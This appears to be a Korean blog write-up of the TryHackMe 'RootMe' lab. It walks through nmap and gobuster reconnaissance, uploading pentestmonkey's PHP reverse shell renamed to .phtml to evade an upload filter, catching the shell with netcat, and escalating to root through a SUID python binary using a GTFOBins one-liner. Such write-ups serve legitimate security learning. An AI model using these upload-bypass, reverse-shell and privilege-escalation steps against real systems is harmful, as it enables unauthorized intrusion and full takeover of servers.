오늘은 TryHackMe의 RootMe룸을 풀어보겠다.
일단 openvpn에 연결하고 deploy를 해준다.
Task1은 deploy를 완료하고 정답 버튼을 누른다.
Task2. Reconnaissance
일단 웹에서 ip로 접속을 해보자.
접속이 잘 되는지 확인한다.(잘 안되면 openvpn연결을 확인하거나 네트워크 연결유무를 확인)
이제 nmap을 이용하여 ip를 조사해보자.
nmap -sC -sV -oN <deploy한 ip>
위 처럼 명령어를 준다.(시간이 조금 걸린다)
위는 결과 화면이다.
port는 22(ssh), 80(http)로 2개가 열려있다.
첫 번째 질문이 몇개의 포트가 열려있는지 물어보는 문제이다. 그러므로 "2"라고 제출하면 된다.
2번째 문제는 Apache서버의 버전을 물어본다. nmap 스캔 결과에 2.4.29 버전이라고 나와있다.
2번째 질문에 2.4.29라고 제출하면 된다.
3번째는 22포트의 서비스 질문이다. 아까 22포트는 ssh이므로 ssh라고 제출하면 된다.
이제 gobuster를 이용하여 숨겨진 페이지를 찾아야한다.
gobuster를 사용하기 전에, common.txt를 설치해야한다.
wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/common.txt
위 명령어를 넣어서 wordlist를 다운 받는다.
그리고 이제 gobuster 툴을 사용해보자.
gobuster dir -u <deploy ip> -w <common.txt위치>
위와 같이 명령어를 넣고 시간이 지나면 결과가 나온다.
위와 같이 결과가 나온다.
/panel, /uploads가 열려있다.
4번째 질문에 /panel/라고 정답을 제출한다.
Task3
<deploy ip>/panel로 이동하면 업로드 페이지가 나온다.
file uploads reverse shell cheat sheet pentest monkey를 이용해서 익스플로잇 하는 것 같다.
git clone https://github.com/pentestmonkey/php-reverse-shell.git
일단 reverse shell을 다운 받는다.
php를 열고 중간을 수정 해야한다.
ip는 ip addr show tun0 또는 ifconfig tun0 명령어를 넣어서 나온 ip를 넣는다.
포트는 원하는거 아무거나 넣는다.(ex. 9999, 1337, 4444, 8888)
그리고 php-reverse-shell.php를 php-reverse-shell.phtml로 바꾼다.
이제 이 phtml 파일을 /panel에 업로드 한다.
이렇게 이상한 언어가 나오면서 업로드가 성공적으로 진행된다.
이제 터미널에서 nc -lnvp <php파일 안에 사용한 포트> 명령어를 입력하고,
<deploy ip>/uploads 로 가서 업로드된 php파일을 실행한다.
위 사진처럼 뜨면 phtml을 실행한다.
그러면 nc명령어를 사용한 터미널에서 변화가 생길 것이다.
이제 user.txt를 찾아야한다.
find / -name user.txt 2</dev/null
위와 같이 명령어를 준다.
여기서 2>/dev/null는 permission denied 같은 오류를 제외하고 결과를 출력하는 것이다.
/var/www 디렉토리에 user.txt가 있다.
이 안에 내용이 flag일 것이다.
Task4
suid permission 취약점 파일을 찾아야한다.
find / -user root -perm /4000 2>/dev/null
suid permission 취약점 파일을 찾으려면 위와 같은 명령어를 주어야한다.
위와 같이 결과가 나오는데, 인터넷에 찾아보니 python으로 suid permission 취약점으로 공격할 수 있었다.
Task4의 1번째 질문의 정답은 /usr/bin/python이다.
그럼 이제 python의 suid permission 취약점을 이용하여 root계정으로 전환해보자.
gtfobins.github.io/gtfobins/python/#suid
위의 링크는 python suid의 관한 정보이다.
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
위처럼 명령어를 터미널에 주면 root로 전환된다. (그런데 위의 명령어를 실행하면 이제 "$"문자가 앞에 오지 않을것이다.)
이제 root 디렉토리로 이동해보자.
cd /root로 이동하고 디렉토리를 확인하면 root.txt가 있다.
그 파일이 flag일 것이다.
플래그를 제출하면 RootMe 룸의 문제를 모두 풀었을 것이다.
The end
'TryHackMe' 카테고리의 다른 글
TryHackMe - StartUp🌶️ (0) | 2021.01.24 |
---|---|
TryHackMe - inclusion (WriteUp) (0) | 2021.01.17 |
TryHackMe - Ignite🔥 (0) | 2021.01.16 |
TryHackMe - Hydra🐉 (WriteUp) (0) | 2021.01.11 |
TryHackMe - Pickle Rick🥒(WriteUp) (0) | 2021.01.10 |